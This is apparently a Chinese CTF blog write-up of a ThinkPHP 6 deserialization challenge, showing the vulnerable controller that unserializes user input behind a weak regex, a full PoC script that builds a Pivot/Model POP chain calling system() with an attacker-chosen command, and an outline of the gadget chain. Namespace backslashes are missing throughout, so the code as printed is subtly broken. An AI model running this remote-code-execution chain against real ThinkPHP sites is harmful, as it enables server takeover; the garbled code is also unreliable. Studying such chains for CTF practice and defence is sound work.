![7e7f0e0113f8746dbcee61cbe3fa4d29.png](https://i-blog.csdnimg.cn/blog_migrate/dbaa33574451ce4f0b4935af27672fc2.png)
前言
去年的安洵杯,里面有一道iamthinking的题目(好像是这个名字吧),里面考察到了tp6的反序列化(通过访问www.zip可以下载源码),按照惯例,我还是没有做出来,我不知道咋绕过那个正则emmmm,给没有做题的大师傅献上关键源码吧,如果有师傅懂,欢迎评论
<?php
namespace appcontroller;
use appBaseController;
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
虽然题没有做出来,但是tp6的反序列化POP链必须学习一波。
PoC献上
<?php
namespace thinkmodelconcern;
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["axin" => "system"];
public function get()
{
$this->data = ["axin" => "ls"]; //你想要执行的命令,这里的键值只需要保持和withAttr里的键值一致即可
}
}
namespace think;
abstract class Model{
use modelconcernAttribute;
use modelconcernConversion;
private $lazySave = false;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
function __construct(){
$this->get();
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->connection = 'mysql';
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
function __construct($obj='')
{
parent::__construct();
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(base64_encode(serialize($b)));
大佬们好像没有放现成的PoC,我这里自己糊弄了一个,大家将就着看吧,下面我们就来看看整个POP链吧。
利用链分析
这次的利用链后半部分也就是__toString()后面的链条都是与tp5.2.x一样的,只是前半条链不一致,奈何我之前只分析过tp5.1.x的,而5.1.x与5.2.x的区别就是后半条链不一致,也就是说tp5.1.x的利用链与tp6.x的利用链完全不一样,而我在准备复现tp5.2.x的pop链时,用composer安装tp5.2.x死活安不上,但是官网上又说5.2只能用composer安装.......
![caf9da80f05be87958b493c6d90072c7.png](https://i-blog.csdnimg.cn/blog_migrate/209c62f0420f71b497905a2ff14eed0c.jpeg)
跑去github上提issue,结果官方回复说没有5.2版本了......说出来给各位师傅们避个坑
先列出利用链:
thinkModel --> __destruct()
thinkModel --> save()
thinkModel --> updateData()
thinkModel --> checkAllowFields()
thinkModel --> db()
后半部分利用链(同tp 5.2后半部分利用链)
thinkmodelconcernConversion --> __toString()
thinkmodelconcernConversion --> __toJson()
thinkmodelconcernConversion --> __toArray()
thinkmodelconcernAttribute --> getAttr()
thinkmodelconcernAttribute --> getValue()